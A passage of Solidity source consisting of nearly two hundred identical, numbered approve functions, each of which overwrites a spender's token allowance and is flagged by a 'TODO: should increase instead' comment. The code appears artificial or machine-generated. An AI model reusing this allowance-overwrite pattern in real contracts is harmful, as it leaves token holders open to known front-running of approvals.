function approve_667(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_668(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_669(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_670(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_671(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_672(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_673(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_674(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_675(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_676(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_677(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_678(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_679(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_680(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_681(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_682(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_683(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_684(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_685(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_686(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_687(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_688(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_689(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_690(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_691(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_692(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_693(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_694(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_695(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_696(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_697(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_698(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_699(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_700(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_701(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_702(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_703(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_704(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_705(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_706(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_707(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_708(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_709(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_710(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_711(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_712(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_713(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_714(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_715(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_716(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_717(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_718(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_719(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_720(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_721(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_722(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_723(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_724(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_725(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_726(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_727(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_728(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_729(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_730(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_731(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_732(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_733(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_734(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_735(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_736(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_737(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_738(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_739(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_740(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_741(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_742(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_743(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_744(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_745(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_746(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_747(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_748(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_749(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_750(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_751(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_752(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_753(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_754(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_755(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_756(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_757(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_758(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_759(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_760(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_761(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_762(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_763(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_764(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_765(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_766(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_767(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_768(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_769(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_770(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_771(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_772(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_773(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_774(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_775(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_776(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_777(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_778(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_779(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_780(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_781(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_782(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_783(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_784(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_785(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_786(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_787(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_788(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_789(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_790(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_791(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_792(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_793(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_794(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_795(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_796(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_797(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_798(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_799(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_800(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_801(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_802(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_803(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_804(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_805(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_806(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_807(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_808(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_809(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_810(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_811(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_812(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_813(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_814(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_815(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_816(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_817(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_818(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_819(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_820(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_821(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_822(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_823(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_824(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_825(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_826(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_827(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_828(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_829(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_830(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_831(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_832(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_833(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_834(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_835(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_836(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_837(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_838(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_839(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_840(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_841(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_842(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_843(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_844(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_845(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_846(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_847(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_848(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_849(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_850(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_851(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_852(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_853(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_854(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_855(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_856(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_857(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_858(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
